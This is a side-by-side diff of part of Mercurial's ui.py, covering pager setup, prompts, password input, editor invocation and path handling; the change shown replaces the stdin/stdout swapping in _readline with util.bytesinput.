1040 | 1040 | self.warn(_("missing pager command '%s', skipping pager\n") |
|
1041 | 1041 | % command) |
|
1042 | 1042 | return False |
|
1043 | 1043 | raise |
|
1044 | 1044 | |
|
1045 | 1045 | # back up original file descriptors |
|
1046 | 1046 | stdoutfd = os.dup(util.stdout.fileno()) |
|
1047 | 1047 | stderrfd = os.dup(util.stderr.fileno()) |
|
1048 | 1048 | |
|
1049 | 1049 | os.dup2(pager.stdin.fileno(), util.stdout.fileno()) |
|
1050 | 1050 | if self._isatty(util.stderr): |
|
1051 | 1051 | os.dup2(pager.stdin.fileno(), util.stderr.fileno()) |
|
1052 | 1052 | |
|
1053 | 1053 | @self.atexit |
|
1054 | 1054 | def killpager(): |
|
1055 | 1055 | if util.safehasattr(signal, "SIGINT"): |
|
1056 | 1056 | signal.signal(signal.SIGINT, signal.SIG_IGN) |
|
1057 | 1057 | # restore original fds, closing pager.stdin copies in the process |
|
1058 | 1058 | os.dup2(stdoutfd, util.stdout.fileno()) |
|
1059 | 1059 | os.dup2(stderrfd, util.stderr.fileno()) |
|
1060 | 1060 | pager.stdin.close() |
|
1061 | 1061 | pager.wait() |
|
1062 | 1062 | |
|
1063 | 1063 | return True |
|
1064 | 1064 | |
|
1065 | 1065 | def atexit(self, func, *args, **kwargs): |
|
1066 | 1066 | '''register a function to run after dispatching a request |
|
1067 | 1067 | |
|
1068 | 1068 | Handlers do not stay registered across request boundaries.''' |
|
1069 | 1069 | self._exithandlers.append((func, args, kwargs)) |
|
1070 | 1070 | return func |
|
1071 | 1071 | |
|
1072 | 1072 | def interface(self, feature): |
|
1073 | 1073 | """what interface to use for interactive console features? |
|
1074 | 1074 | |
|
1075 | 1075 | The interface is controlled by the value of `ui.interface` but also by |
|
1076 | 1076 | the value of feature-specific configuration. For example: |
|
1077 | 1077 | |
|
1078 | 1078 | ui.interface.histedit = text |
|
1079 | 1079 | ui.interface.chunkselector = curses |
|
1080 | 1080 | |
|
1081 | 1081 | Here the features are "histedit" and "chunkselector". |
|
1082 | 1082 | |
|
1083 | 1083 | The configuration above means that the default interfaces for commands |
|
1084 | 1084 | is curses, the interface for histedit is text and the interface for |
|
1085 | 1085 | selecting chunk is crecord (the best curses interface available). |
|
1086 | 1086 | |
|
1087 | 1087 | Consider the following example: |
|
1088 | 1088 | ui.interface = curses |
|
1089 | 1089 | ui.interface.histedit = text |
|
1090 | 1090 | |
|
1091 | 1091 | Then histedit will use the text interface and chunkselector will use |
|
1092 | 1092 | the default curses interface (crecord at the moment). |
|
1093 | 1093 | """ |
|
1094 | 1094 | alldefaults = frozenset(["text", "curses"]) |
|
1095 | 1095 | |
|
1096 | 1096 | featureinterfaces = { |
|
1097 | 1097 | "chunkselector": [ |
|
1098 | 1098 | "text", |
|
1099 | 1099 | "curses", |
|
1100 | 1100 | ] |
|
1101 | 1101 | } |
|
1102 | 1102 | |
|
1103 | 1103 | # Feature-specific interface |
|
1104 | 1104 | if feature not in featureinterfaces.keys(): |
|
1105 | 1105 | # Programming error, not user error |
|
1106 | 1106 | raise ValueError("Unknown feature requested %s" % feature) |
|
1107 | 1107 | |
|
1108 | 1108 | availableinterfaces = frozenset(featureinterfaces[feature]) |
|
1109 | 1109 | if alldefaults > availableinterfaces: |
|
1110 | 1110 | # Programming error, not user error. We need a use case to |
|
1111 | 1111 | # define the right thing to do here. |
|
1112 | 1112 | raise ValueError( |
|
1113 | 1113 | "Feature %s does not handle all default interfaces" % |
|
1114 | 1114 | feature) |
|
1115 | 1115 | |
|
1116 | 1116 | if self.plain(): |
|
1117 | 1117 | return "text" |
|
1118 | 1118 | |
|
1119 | 1119 | # Default interface for all the features |
|
1120 | 1120 | defaultinterface = "text" |
|
1121 | 1121 | i = self.config("ui", "interface") |
|
1122 | 1122 | if i in alldefaults: |
|
1123 | 1123 | defaultinterface = i |
|
1124 | 1124 | |
|
1125 | 1125 | choseninterface = defaultinterface |
|
1126 | 1126 | f = self.config("ui", "interface.%s" % feature, None) |
|
1127 | 1127 | if f in availableinterfaces: |
|
1128 | 1128 | choseninterface = f |
|
1129 | 1129 | |
|
1130 | 1130 | if i is not None and defaultinterface != i: |
|
1131 | 1131 | if f is not None: |
|
1132 | 1132 | self.warn(_("invalid value for ui.interface: %s\n") % |
|
1133 | 1133 | (i,)) |
|
1134 | 1134 | else: |
|
1135 | 1135 | self.warn(_("invalid value for ui.interface: %s (using %s)\n") % |
|
1136 | 1136 | (i, choseninterface)) |
|
1137 | 1137 | if f is not None and choseninterface != f: |
|
1138 | 1138 | self.warn(_("invalid value for ui.interface.%s: %s (using %s)\n") % |
|
1139 | 1139 | (feature, f, choseninterface)) |
|
1140 | 1140 | |
|
1141 | 1141 | return choseninterface |
|
1142 | 1142 | |
|
1143 | 1143 | def interactive(self): |
|
1144 | 1144 | '''is interactive input allowed? |
|
1145 | 1145 | |
|
1146 | 1146 | An interactive session is a session where input can be reasonably read |
|
1147 | 1147 | from `sys.stdin'. If this function returns false, any attempt to read |
|
1148 | 1148 | from stdin should fail with an error, unless a sensible default has been |
|
1149 | 1149 | specified. |
|
1150 | 1150 | |
|
1151 | 1151 | Interactiveness is triggered by the value of the `ui.interactive' |
|
1152 | 1152 | configuration variable or - if it is unset - when `sys.stdin' points |
|
1153 | 1153 | to a terminal device. |
|
1154 | 1154 | |
|
1155 | 1155 | This function refers to input only; for output, see `ui.formatted()'. |
|
1156 | 1156 | ''' |
|
1157 | 1157 | i = self.configbool("ui", "interactive") |
|
1158 | 1158 | if i is None: |
|
1159 | 1159 | # some environments replace stdin without implementing isatty |
|
1160 | 1160 | # usually those are non-interactive |
|
1161 | 1161 | return self._isatty(self.fin) |
|
1162 | 1162 | |
|
1163 | 1163 | return i |
|
1164 | 1164 | |
|
1165 | 1165 | def termwidth(self): |
|
1166 | 1166 | '''how wide is the terminal in columns? |
|
1167 | 1167 | ''' |
|
1168 | 1168 | if 'COLUMNS' in encoding.environ: |
|
1169 | 1169 | try: |
|
1170 | 1170 | return int(encoding.environ['COLUMNS']) |
|
1171 | 1171 | except ValueError: |
|
1172 | 1172 | pass |
|
1173 | 1173 | return scmutil.termsize(self)[0] |
|
1174 | 1174 | |
|
1175 | 1175 | def formatted(self): |
|
1176 | 1176 | '''should formatted output be used? |
|
1177 | 1177 | |
|
1178 | 1178 | It is often desirable to format the output to suite the output medium. |
|
1179 | 1179 | Examples of this are truncating long lines or colorizing messages. |
|
1180 | 1180 | However, this is not often not desirable when piping output into other |
|
1181 | 1181 | utilities, e.g. `grep'. |
|
1182 | 1182 | |
|
1183 | 1183 | Formatted output is triggered by the value of the `ui.formatted' |
|
1184 | 1184 | configuration variable or - if it is unset - when `sys.stdout' points |
|
1185 | 1185 | to a terminal device. Please note that `ui.formatted' should be |
|
1186 | 1186 | considered an implementation detail; it is not intended for use outside |
|
1187 | 1187 | Mercurial or its extensions. |
|
1188 | 1188 | |
|
1189 | 1189 | This function refers to output only; for input, see `ui.interactive()'. |
|
1190 | 1190 | This function always returns false when in plain mode, see `ui.plain()'. |
|
1191 | 1191 | ''' |
|
1192 | 1192 | if self.plain(): |
|
1193 | 1193 | return False |
|
1194 | 1194 | |
|
1195 | 1195 | i = self.configbool("ui", "formatted") |
|
1196 | 1196 | if i is None: |
|
1197 | 1197 | # some environments replace stdout without implementing isatty |
|
1198 | 1198 | # usually those are non-interactive |
|
1199 | 1199 | return self._isatty(self.fout) |
|
1200 | 1200 | |
|
1201 | 1201 | return i |
|
1202 | 1202 | |
|
1203 | 1203 | def _readline(self, prompt=''): |
|
1204 | 1204 | if self._isatty(self.fin): |
|
1205 | 1205 | try: |
|
1206 | 1206 | # magically add command line editing support, where |
|
1207 | 1207 | # available |
|
1208 | 1208 | import readline |
|
1209 | 1209 | # force demandimport to really load the module |
|
1210 | 1210 | readline.read_history_file |
|
1211 | 1211 | # windows sometimes raises something other than ImportError |
|
1212 | 1212 | except Exception: |
|
1213 | 1213 | pass |
|
1214 | 1214 | |
|
1215 | 1215 | # call write() so output goes through subclassed implementation |
|
1216 | 1216 | # e.g. color extension on Windows |
|
1217 | 1217 | self.write(prompt, prompt=True) |
|
1218 | 1218 | self.flush() |
|
1219 | 1219 | |
|
1220 | # instead of trying to emulate raw_input, swap (self.fin, | |
|
1221 | # self.fout) with (sys.stdin, sys.stdout) | |
|
1222 | oldin = sys.stdin | |
|
1223 | oldout = sys.stdout | |
|
1224 | sys.stdin = self.fin | |
|
1225 | sys.stdout = self.fout | |
|
1226 | 1220 | # prompt ' ' must exist; otherwise readline may delete entire line |
|
1227 | 1221 | # - http://bugs.python.org/issue12833 |
|
1228 | 1222 | with self.timeblockedsection('stdio'): |
|
1229 |
line = |
|
|
1230 | sys.stdin = oldin | |
|
1231 | sys.stdout = oldout | |
|
1223 | line = util.bytesinput(self.fin, self.fout, r' ') | |
|
1232 | 1224 | |
|
1233 | 1225 | # When stdin is in binary mode on Windows, it can cause |
|
1234 | 1226 | # raw_input() to emit an extra trailing carriage return |
|
1235 | 1227 | if pycompat.oslinesep == '\r\n' and line and line[-1] == '\r': |
|
1236 | 1228 | line = line[:-1] |
|
1237 | 1229 | return line |
|
1238 | 1230 | |
|
1239 | 1231 | def prompt(self, msg, default="y"): |
|
1240 | 1232 | """Prompt user with msg, read response. |
|
1241 | 1233 | If ui is not interactive, the default is returned. |
|
1242 | 1234 | """ |
|
1243 | 1235 | if not self.interactive(): |
|
1244 | 1236 | self.write(msg, ' ', default or '', "\n") |
|
1245 | 1237 | return default |
|
1246 | 1238 | try: |
|
1247 | 1239 | r = self._readline(self.label(msg, 'ui.prompt')) |
|
1248 | 1240 | if not r: |
|
1249 | 1241 | r = default |
|
1250 | 1242 | if self.configbool('ui', 'promptecho'): |
|
1251 | 1243 | self.write(r, "\n") |
|
1252 | 1244 | return r |
|
1253 | 1245 | except EOFError: |
|
1254 | 1246 | raise error.ResponseExpected() |
|
1255 | 1247 | |
|
1256 | 1248 | @staticmethod |
|
1257 | 1249 | def extractchoices(prompt): |
|
1258 | 1250 | """Extract prompt message and list of choices from specified prompt. |
|
1259 | 1251 | |
|
1260 | 1252 | This returns tuple "(message, choices)", and "choices" is the |
|
1261 | 1253 | list of tuple "(response character, text without &)". |
|
1262 | 1254 | |
|
1263 | 1255 | >>> ui.extractchoices("awake? $$ &Yes $$ &No") |
|
1264 | 1256 | ('awake? ', [('y', 'Yes'), ('n', 'No')]) |
|
1265 | 1257 | >>> ui.extractchoices("line\\nbreak? $$ &Yes $$ &No") |
|
1266 | 1258 | ('line\\nbreak? ', [('y', 'Yes'), ('n', 'No')]) |
|
1267 | 1259 | >>> ui.extractchoices("want lots of $$money$$?$$Ye&s$$N&o") |
|
1268 | 1260 | ('want lots of $$money$$?', [('s', 'Yes'), ('o', 'No')]) |
|
1269 | 1261 | """ |
|
1270 | 1262 | |
|
1271 | 1263 | # Sadly, the prompt string may have been built with a filename |
|
1272 | 1264 | # containing "$$" so let's try to find the first valid-looking |
|
1273 | 1265 | # prompt to start parsing. Sadly, we also can't rely on |
|
1274 | 1266 | # choices containing spaces, ASCII, or basically anything |
|
1275 | 1267 | # except an ampersand followed by a character. |
|
1276 | 1268 | m = re.match(br'(?s)(.+?)\$\$([^\$]*&[^ \$].*)', prompt) |
|
1277 | 1269 | msg = m.group(1) |
|
1278 | 1270 | choices = [p.strip(' ') for p in m.group(2).split('$$')] |
|
1279 | 1271 | def choicetuple(s): |
|
1280 | 1272 | ampidx = s.index('&') |
|
1281 | 1273 | return s[ampidx + 1:ampidx + 2].lower(), s.replace('&', '', 1) |
|
1282 | 1274 | return (msg, [choicetuple(s) for s in choices]) |
|
1283 | 1275 | |
|
1284 | 1276 | def promptchoice(self, prompt, default=0): |
|
1285 | 1277 | """Prompt user with a message, read response, and ensure it matches |
|
1286 | 1278 | one of the provided choices. The prompt is formatted as follows: |
|
1287 | 1279 | |
|
1288 | 1280 | "would you like fries with that (Yn)? $$ &Yes $$ &No" |
|
1289 | 1281 | |
|
1290 | 1282 | The index of the choice is returned. Responses are case |
|
1291 | 1283 | insensitive. If ui is not interactive, the default is |
|
1292 | 1284 | returned. |
|
1293 | 1285 | """ |
|
1294 | 1286 | |
|
1295 | 1287 | msg, choices = self.extractchoices(prompt) |
|
1296 | 1288 | resps = [r for r, t in choices] |
|
1297 | 1289 | while True: |
|
1298 | 1290 | r = self.prompt(msg, resps[default]) |
|
1299 | 1291 | if r.lower() in resps: |
|
1300 | 1292 | return resps.index(r.lower()) |
|
1301 | 1293 | self.write(_("unrecognized response\n")) |
|
1302 | 1294 | |
|
1303 | 1295 | def getpass(self, prompt=None, default=None): |
|
1304 | 1296 | if not self.interactive(): |
|
1305 | 1297 | return default |
|
1306 | 1298 | try: |
|
1307 | 1299 | self.write_err(self.label(prompt or _('password: '), 'ui.prompt')) |
|
1308 | 1300 | # disable getpass() only if explicitly specified. it's still valid |
|
1309 | 1301 | # to interact with tty even if fin is not a tty. |
|
1310 | 1302 | with self.timeblockedsection('stdio'): |
|
1311 | 1303 | if self.configbool('ui', 'nontty'): |
|
1312 | 1304 | l = self.fin.readline() |
|
1313 | 1305 | if not l: |
|
1314 | 1306 | raise EOFError |
|
1315 | 1307 | return l.rstrip('\n') |
|
1316 | 1308 | else: |
|
1317 | 1309 | return getpass.getpass('') |
|
1318 | 1310 | except EOFError: |
|
1319 | 1311 | raise error.ResponseExpected() |
|
1320 | 1312 | def status(self, *msg, **opts): |
|
1321 | 1313 | '''write status message to output (if ui.quiet is False) |
|
1322 | 1314 | |
|
1323 | 1315 | This adds an output label of "ui.status". |
|
1324 | 1316 | ''' |
|
1325 | 1317 | if not self.quiet: |
|
1326 | 1318 | opts[r'label'] = opts.get(r'label', '') + ' ui.status' |
|
1327 | 1319 | self.write(*msg, **opts) |
|
1328 | 1320 | def warn(self, *msg, **opts): |
|
1329 | 1321 | '''write warning message to output (stderr) |
|
1330 | 1322 | |
|
1331 | 1323 | This adds an output label of "ui.warning". |
|
1332 | 1324 | ''' |
|
1333 | 1325 | opts[r'label'] = opts.get(r'label', '') + ' ui.warning' |
|
1334 | 1326 | self.write_err(*msg, **opts) |
|
1335 | 1327 | def note(self, *msg, **opts): |
|
1336 | 1328 | '''write note to output (if ui.verbose is True) |
|
1337 | 1329 | |
|
1338 | 1330 | This adds an output label of "ui.note". |
|
1339 | 1331 | ''' |
|
1340 | 1332 | if self.verbose: |
|
1341 | 1333 | opts[r'label'] = opts.get(r'label', '') + ' ui.note' |
|
1342 | 1334 | self.write(*msg, **opts) |
|
1343 | 1335 | def debug(self, *msg, **opts): |
|
1344 | 1336 | '''write debug message to output (if ui.debugflag is True) |
|
1345 | 1337 | |
|
1346 | 1338 | This adds an output label of "ui.debug". |
|
1347 | 1339 | ''' |
|
1348 | 1340 | if self.debugflag: |
|
1349 | 1341 | opts[r'label'] = opts.get(r'label', '') + ' ui.debug' |
|
1350 | 1342 | self.write(*msg, **opts) |
|
1351 | 1343 | |
|
1352 | 1344 | def edit(self, text, user, extra=None, editform=None, pending=None, |
|
1353 | 1345 | repopath=None): |
|
1354 | 1346 | extra_defaults = { |
|
1355 | 1347 | 'prefix': 'editor', |
|
1356 | 1348 | 'suffix': '.txt', |
|
1357 | 1349 | } |
|
1358 | 1350 | if extra is not None: |
|
1359 | 1351 | extra_defaults.update(extra) |
|
1360 | 1352 | extra = extra_defaults |
|
1361 | 1353 | |
|
1362 | 1354 | rdir = None |
|
1363 | 1355 | if self.configbool('experimental', 'editortmpinhg'): |
|
1364 | 1356 | rdir = repopath |
|
1365 | 1357 | (fd, name) = tempfile.mkstemp(prefix='hg-' + extra['prefix'] + '-', |
|
1366 | 1358 | suffix=extra['suffix'], |
|
1367 | 1359 | dir=rdir) |
|
1368 | 1360 | try: |
|
1369 | 1361 | f = os.fdopen(fd, r'wb') |
|
1370 | 1362 | f.write(util.tonativeeol(text)) |
|
1371 | 1363 | f.close() |
|
1372 | 1364 | |
|
1373 | 1365 | environ = {'HGUSER': user} |
|
1374 | 1366 | if 'transplant_source' in extra: |
|
1375 | 1367 | environ.update({'HGREVISION': hex(extra['transplant_source'])}) |
|
1376 | 1368 | for label in ('intermediate-source', 'source', 'rebase_source'): |
|
1377 | 1369 | if label in extra: |
|
1378 | 1370 | environ.update({'HGREVISION': extra[label]}) |
|
1379 | 1371 | break |
|
1380 | 1372 | if editform: |
|
1381 | 1373 | environ.update({'HGEDITFORM': editform}) |
|
1382 | 1374 | if pending: |
|
1383 | 1375 | environ.update({'HG_PENDING': pending}) |
|
1384 | 1376 | |
|
1385 | 1377 | editor = self.geteditor() |
|
1386 | 1378 | |
|
1387 | 1379 | self.system("%s \"%s\"" % (editor, name), |
|
1388 | 1380 | environ=environ, |
|
1389 | 1381 | onerr=error.Abort, errprefix=_("edit failed"), |
|
1390 | 1382 | blockedtag='editor') |
|
1391 | 1383 | |
|
1392 | 1384 | f = open(name, r'rb') |
|
1393 | 1385 | t = util.fromnativeeol(f.read()) |
|
1394 | 1386 | f.close() |
|
1395 | 1387 | finally: |
|
1396 | 1388 | os.unlink(name) |
|
1397 | 1389 | |
|
1398 | 1390 | return t |
|
1399 | 1391 | |
|
1400 | 1392 | def system(self, cmd, environ=None, cwd=None, onerr=None, errprefix=None, |
|
1401 | 1393 | blockedtag=None): |
|
1402 | 1394 | '''execute shell command with appropriate output stream. command |
|
1403 | 1395 | output will be redirected if fout is not stdout. |
|
1404 | 1396 | |
|
1405 | 1397 | if command fails and onerr is None, return status, else raise onerr |
|
1406 | 1398 | object as exception. |
|
1407 | 1399 | ''' |
|
1408 | 1400 | if blockedtag is None: |
|
1409 | 1401 | # Long cmds tend to be because of an absolute path on cmd. Keep |
|
1410 | 1402 | # the tail end instead |
|
1411 | 1403 | cmdsuffix = cmd.translate(None, _keepalnum)[-85:] |
|
1412 | 1404 | blockedtag = 'unknown_system_' + cmdsuffix |
|
1413 | 1405 | out = self.fout |
|
1414 | 1406 | if any(s[1] for s in self._bufferstates): |
|
1415 | 1407 | out = self |
|
1416 | 1408 | with self.timeblockedsection(blockedtag): |
|
1417 | 1409 | rc = self._runsystem(cmd, environ=environ, cwd=cwd, out=out) |
|
1418 | 1410 | if rc and onerr: |
|
1419 | 1411 | errmsg = '%s %s' % (os.path.basename(cmd.split(None, 1)[0]), |
|
1420 | 1412 | util.explainexit(rc)[0]) |
|
1421 | 1413 | if errprefix: |
|
1422 | 1414 | errmsg = '%s: %s' % (errprefix, errmsg) |
|
1423 | 1415 | raise onerr(errmsg) |
|
1424 | 1416 | return rc |
|
1425 | 1417 | |
|
1426 | 1418 | def _runsystem(self, cmd, environ, cwd, out): |
|
1427 | 1419 | """actually execute the given shell command (can be overridden by |
|
1428 | 1420 | extensions like chg)""" |
|
1429 | 1421 | return util.system(cmd, environ=environ, cwd=cwd, out=out) |
|
1430 | 1422 | |
|
1431 | 1423 | def traceback(self, exc=None, force=False): |
|
1432 | 1424 | '''print exception traceback if traceback printing enabled or forced. |
|
1433 | 1425 | only to call in exception handler. returns true if traceback |
|
1434 | 1426 | printed.''' |
|
1435 | 1427 | if self.tracebackflag or force: |
|
1436 | 1428 | if exc is None: |
|
1437 | 1429 | exc = sys.exc_info() |
|
1438 | 1430 | cause = getattr(exc[1], 'cause', None) |
|
1439 | 1431 | |
|
1440 | 1432 | if cause is not None: |
|
1441 | 1433 | causetb = traceback.format_tb(cause[2]) |
|
1442 | 1434 | exctb = traceback.format_tb(exc[2]) |
|
1443 | 1435 | exconly = traceback.format_exception_only(cause[0], cause[1]) |
|
1444 | 1436 | |
|
1445 | 1437 | # exclude frame where 'exc' was chained and rethrown from exctb |
|
1446 | 1438 | self.write_err('Traceback (most recent call last):\n', |
|
1447 | 1439 | ''.join(exctb[:-1]), |
|
1448 | 1440 | ''.join(causetb), |
|
1449 | 1441 | ''.join(exconly)) |
|
1450 | 1442 | else: |
|
1451 | 1443 | output = traceback.format_exception(exc[0], exc[1], exc[2]) |
|
1452 | 1444 | data = r''.join(output) |
|
1453 | 1445 | if pycompat.ispy3: |
|
1454 | 1446 | enc = pycompat.sysstr(encoding.encoding) |
|
1455 | 1447 | data = data.encode(enc, errors=r'replace') |
|
1456 | 1448 | self.write_err(data) |
|
1457 | 1449 | return self.tracebackflag or force |
|
1458 | 1450 | |
|
1459 | 1451 | def geteditor(self): |
|
1460 | 1452 | '''return editor to use''' |
|
1461 | 1453 | if pycompat.sysplatform == 'plan9': |
|
1462 | 1454 | # vi is the MIPS instruction simulator on Plan 9. We |
|
1463 | 1455 | # instead default to E to plumb commit messages to |
|
1464 | 1456 | # avoid confusion. |
|
1465 | 1457 | editor = 'E' |
|
1466 | 1458 | else: |
|
1467 | 1459 | editor = 'vi' |
|
1468 | 1460 | return (encoding.environ.get("HGEDITOR") or |
|
1469 | 1461 | self.config("ui", "editor", editor)) |
|
1470 | 1462 | |
|
1471 | 1463 | @util.propertycache |
|
1472 | 1464 | def _progbar(self): |
|
1473 | 1465 | """setup the progbar singleton to the ui object""" |
|
1474 | 1466 | if (self.quiet or self.debugflag |
|
1475 | 1467 | or self.configbool('progress', 'disable') |
|
1476 | 1468 | or not progress.shouldprint(self)): |
|
1477 | 1469 | return None |
|
1478 | 1470 | return getprogbar(self) |
|
1479 | 1471 | |
|
1480 | 1472 | def _progclear(self): |
|
1481 | 1473 | """clear progress bar output if any. use it before any output""" |
|
1482 | 1474 | if '_progbar' not in vars(self): # nothing loaded yet |
|
1483 | 1475 | return |
|
1484 | 1476 | if self._progbar is not None and self._progbar.printed: |
|
1485 | 1477 | self._progbar.clear() |
|
1486 | 1478 | |
|
1487 | 1479 | def progress(self, topic, pos, item="", unit="", total=None): |
|
1488 | 1480 | '''show a progress message |
|
1489 | 1481 | |
|
1490 | 1482 | By default a textual progress bar will be displayed if an operation |
|
1491 | 1483 | takes too long. 'topic' is the current operation, 'item' is a |
|
1492 | 1484 | non-numeric marker of the current position (i.e. the currently |
|
1493 | 1485 | in-process file), 'pos' is the current numeric position (i.e. |
|
1494 | 1486 | revision, bytes, etc.), unit is a corresponding unit label, |
|
1495 | 1487 | and total is the highest expected pos. |
|
1496 | 1488 | |
|
1497 | 1489 | Multiple nested topics may be active at a time. |
|
1498 | 1490 | |
|
1499 | 1491 | All topics should be marked closed by setting pos to None at |
|
1500 | 1492 | termination. |
|
1501 | 1493 | ''' |
|
1502 | 1494 | if self._progbar is not None: |
|
1503 | 1495 | self._progbar.progress(topic, pos, item=item, unit=unit, |
|
1504 | 1496 | total=total) |
|
1505 | 1497 | if pos is None or not self.configbool('progress', 'debug'): |
|
1506 | 1498 | return |
|
1507 | 1499 | |
|
1508 | 1500 | if unit: |
|
1509 | 1501 | unit = ' ' + unit |
|
1510 | 1502 | if item: |
|
1511 | 1503 | item = ' ' + item |
|
1512 | 1504 | |
|
1513 | 1505 | if total: |
|
1514 | 1506 | pct = 100.0 * pos / total |
|
1515 | 1507 | self.debug('%s:%s %s/%s%s (%4.2f%%)\n' |
|
1516 | 1508 | % (topic, item, pos, total, unit, pct)) |
|
1517 | 1509 | else: |
|
1518 | 1510 | self.debug('%s:%s %s%s\n' % (topic, item, pos, unit)) |
|
1519 | 1511 | |
|
1520 | 1512 | def log(self, service, *msg, **opts): |
|
1521 | 1513 | '''hook for logging facility extensions |
|
1522 | 1514 | |
|
1523 | 1515 | service should be a readily-identifiable subsystem, which will |
|
1524 | 1516 | allow filtering. |
|
1525 | 1517 | |
|
1526 | 1518 | *msg should be a newline-terminated format string to log, and |
|
1527 | 1519 | then any values to %-format into that format string. |
|
1528 | 1520 | |
|
1529 | 1521 | **opts currently has no defined meanings. |
|
1530 | 1522 | ''' |
|
1531 | 1523 | |
|
1532 | 1524 | def label(self, msg, label): |
|
1533 | 1525 | '''style msg based on supplied label |
|
1534 | 1526 | |
|
1535 | 1527 | If some color mode is enabled, this will add the necessary control |
|
1536 | 1528 | characters to apply such color. In addition, 'debug' color mode adds |
|
1537 | 1529 | markup showing which label affects a piece of text. |
|
1538 | 1530 | |
|
1539 | 1531 | ui.write(s, 'label') is equivalent to |
|
1540 | 1532 | ui.write(ui.label(s, 'label')). |
|
1541 | 1533 | ''' |
|
1542 | 1534 | if self._colormode is not None: |
|
1543 | 1535 | return color.colorlabel(self, msg, label) |
|
1544 | 1536 | return msg |
|
1545 | 1537 | |
|
1546 | 1538 | def develwarn(self, msg, stacklevel=1, config=None): |
|
1547 | 1539 | """issue a developer warning message |
|
1548 | 1540 | |
|
1549 | 1541 | Use 'stacklevel' to report the offender some layers further up in the |
|
1550 | 1542 | stack. |
|
1551 | 1543 | """ |
|
1552 | 1544 | if not self.configbool('devel', 'all-warnings'): |
|
1553 | 1545 | if config is not None and not self.configbool('devel', config): |
|
1554 | 1546 | return |
|
1555 | 1547 | msg = 'devel-warn: ' + msg |
|
1556 | 1548 | stacklevel += 1 # get in develwarn |
|
1557 | 1549 | if self.tracebackflag: |
|
1558 | 1550 | util.debugstacktrace(msg, stacklevel, self.ferr, self.fout) |
|
1559 | 1551 | self.log('develwarn', '%s at:\n%s' % |
|
1560 | 1552 | (msg, ''.join(util.getstackframes(stacklevel)))) |
|
1561 | 1553 | else: |
|
1562 | 1554 | curframe = inspect.currentframe() |
|
1563 | 1555 | calframe = inspect.getouterframes(curframe, 2) |
|
1564 | 1556 | self.write_err('%s at: %s:%s (%s)\n' |
|
1565 | 1557 | % ((msg,) + calframe[stacklevel][1:4])) |
|
1566 | 1558 | self.log('develwarn', '%s at: %s:%s (%s)\n', |
|
1567 | 1559 | msg, *calframe[stacklevel][1:4]) |
|
1568 | 1560 | curframe = calframe = None # avoid cycles |
|
1569 | 1561 | |
|
1570 | 1562 | def deprecwarn(self, msg, version): |
|
1571 | 1563 | """issue a deprecation warning |
|
1572 | 1564 | |
|
1573 | 1565 | - msg: message explaining what is deprecated and how to upgrade, |
|
1574 | 1566 | - version: last version where the API will be supported, |
|
1575 | 1567 | """ |
|
1576 | 1568 | if not (self.configbool('devel', 'all-warnings') |
|
1577 | 1569 | or self.configbool('devel', 'deprec-warn')): |
|
1578 | 1570 | return |
|
1579 | 1571 | msg += ("\n(compatibility will be dropped after Mercurial-%s," |
|
1580 | 1572 | " update your code.)") % version |
|
1581 | 1573 | self.develwarn(msg, stacklevel=2, config='deprec-warn') |
|
1582 | 1574 | |
|
1583 | 1575 | def exportableenviron(self): |
|
1584 | 1576 | """The environment variables that are safe to export, e.g. through |
|
1585 | 1577 | hgweb. |
|
1586 | 1578 | """ |
|
1587 | 1579 | return self._exportableenviron |
|
1588 | 1580 | |
|
1589 | 1581 | @contextlib.contextmanager |
|
1590 | 1582 | def configoverride(self, overrides, source=""): |
|
1591 | 1583 | """Context manager for temporary config overrides |
|
1592 | 1584 | `overrides` must be a dict of the following structure: |
|
1593 | 1585 | {(section, name) : value}""" |
|
1594 | 1586 | backups = {} |
|
1595 | 1587 | try: |
|
1596 | 1588 | for (section, name), value in overrides.items(): |
|
1597 | 1589 | backups[(section, name)] = self.backupconfig(section, name) |
|
1598 | 1590 | self.setconfig(section, name, value, source) |
|
1599 | 1591 | yield |
|
1600 | 1592 | finally: |
|
1601 | 1593 | for __, backup in backups.items(): |
|
1602 | 1594 | self.restoreconfig(backup) |
|
1603 | 1595 | # just restoring ui.quiet config to the previous value is not enough |
|
1604 | 1596 | # as it does not update ui.quiet class member |
|
1605 | 1597 | if ('ui', 'quiet') in overrides: |
|
1606 | 1598 | self.fixconfig(section='ui') |
|
1607 | 1599 | |
|
1608 | 1600 | class paths(dict): |
|
1609 | 1601 | """Represents a collection of paths and their configs. |
|
1610 | 1602 | |
|
1611 | 1603 | Data is initially derived from ui instances and the config files they have |
|
1612 | 1604 | loaded. |
|
1613 | 1605 | """ |
|
1614 | 1606 | def __init__(self, ui): |
|
1615 | 1607 | dict.__init__(self) |
|
1616 | 1608 | |
|
1617 | 1609 | for name, loc in ui.configitems('paths', ignoresub=True): |
|
1618 | 1610 | # No location is the same as not existing. |
|
1619 | 1611 | if not loc: |
|
1620 | 1612 | continue |
|
1621 | 1613 | loc, sub = ui.configsuboptions('paths', name) |
|
1622 | 1614 | self[name] = path(ui, name, rawloc=loc, suboptions=sub) |
|
1623 | 1615 | |
|
1624 | 1616 | def getpath(self, name, default=None): |
|
1625 | 1617 | """Return a ``path`` from a string, falling back to default. |
|
1626 | 1618 | |
|
1627 | 1619 | ``name`` can be a named path or locations. Locations are filesystem |
|
1628 | 1620 | paths or URIs. |
|
1629 | 1621 | |
|
1630 | 1622 | Returns None if ``name`` is not a registered path, a URI, or a local |
|
1631 | 1623 | path to a repo. |
|
1632 | 1624 | """ |
|
1633 | 1625 | # Only fall back to default if no path was requested. |
|
1634 | 1626 | if name is None: |
|
1635 | 1627 | if not default: |
|
1636 | 1628 | default = () |
|
1637 | 1629 | elif not isinstance(default, (tuple, list)): |
|
1638 | 1630 | default = (default,) |
|
1639 | 1631 | for k in default: |
|
1640 | 1632 | try: |
|
1641 | 1633 | return self[k] |
|
1642 | 1634 | except KeyError: |
|
1643 | 1635 | continue |
|
1644 | 1636 | return None |
|
1645 | 1637 | |
|
1646 | 1638 | # Most likely empty string. |
|
1647 | 1639 | # This may need to raise in the future. |
|
1648 | 1640 | if not name: |
|
1649 | 1641 | return None |
|
1650 | 1642 | |
|
1651 | 1643 | try: |
|
1652 | 1644 | return self[name] |
|
1653 | 1645 | except KeyError: |
|
1654 | 1646 | # Try to resolve as a local path or URI. |
|
1655 | 1647 | try: |
|
1656 | 1648 | # We don't pass sub-options in, so no need to pass ui instance. |
|
1657 | 1649 | return path(None, None, rawloc=name) |
|
1658 | 1650 | except ValueError: |
|
1659 | 1651 | raise error.RepoError(_('repository %s does not exist') % |
|
1660 | 1652 | name) |
|
1661 | 1653 | |
|
